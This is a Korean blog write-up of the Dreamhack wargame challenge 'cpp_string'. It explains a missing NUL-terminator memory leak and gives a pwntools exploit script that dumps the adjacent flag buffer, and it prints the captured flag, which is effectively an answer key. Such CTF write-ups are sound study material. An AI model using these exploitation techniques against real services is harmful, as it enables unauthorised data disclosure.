https://dreamhack.io/wargame/challenges/64
cpp_string
Description 이 문제는 서버에서 작동하고 있는 서비스(cpp_string)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾아 flag를 획득하세요! "flag" 파일의 내용을 워게임 사이트에 인증하
dreamhack.io

답
- 먼저 코드가 너무 길어서 따로 전체 첨부는 하지 않느다.
- 그리고 문제 코드에서 나오는 함수들의 설명은 자세히 하지 않는다.
일단

먼저 read_flag(), read_file(), write_file(), show_contents() 함수들을 설명하고 간다.

이 함수는 test라는 파일을 열고 사용자로부티 데이터를 writebuffer에 입력받아서
readbuffer의 크기만큼 test 파일에 저장한다.

이 함수는 test라는 파일을 열고 readbuffer 크기만큼 readbuffer에 저장한다.

이 함수는 flag 파일을 열고, readbuffer 크기만큼 읽어서 flag에 저장한다

readbuffer을 출력한다.
이제 어떻게 풀지를 생각해 보자
일단 이 문제에선 cpp의 read 함수를 알아야 한다.
이 read 함수는 마지막에 NULL 바이트를 추가하지 않는다.
그러면 만약에 readbuffer메모리 공간 뒤에 바로 flag 가있다고 가정하면
readbuffer을 꽉체우면 뒤에 연결된 flag의 데이터까지 1+1 으로 출력할 수 잇다. (마지막에 NULL이 없어서)
그럼 이제 readbuffer과 flag그게 연결 되어있는지 보자

이렇게 두 변수의 주소를 보면
0x6023c0-0x602380 = 0x40 (=64)
64바이트가 차이나는게 보이는데 그렇기 때문에 flag과 readbuffer은 연결되어 잇따.
이제 익스플로잇 코드를 작성할 순서다

먼저 서버에 연결한다

아무 문자를 64개를 가진 문자열을 만든다.

text 파일에 만든 문자열을 작성하낟.

그리고flag 와 readbuffer값으로 읽어드린 다음에
readbuffer의 내용을 출력한다 그러면 flag의 값도 같이 따라 나올 것이다.
전체 코드
from pwn import *
p=remote("host3.dreamhack.games",16156)
chuu=b'c'*64
p.sendlineafter(b'[*] input : ',b'2')
p.sendlineafter(b'Enter file contents : ',chuu)
p.sendlineafter(b'[*] input : ',b'1')
p.sendlineafter(b'[*] input : ',b'3')
p.interactive()
DH{549390a9beb20a8d0e9a6aa0efcb571f}

끝
'hacking > pwnable' 카테고리의 다른 글
| [호출 규약] cdecl (0) | 2025.03.02 |
|---|---|
| [Assembly] c언어 코드를 어셈블리어로 변환하여 파일에 저장 (0) | 2025.03.02 |
| [Dream hack] Welcome Hackers👨💻 (0) | 2025.03.02 |
| [Dream hack] Logical Bug: Type Error (0) | 2025.03.02 |
| [개념 정리] plt와 got (0) | 2024.11.15 |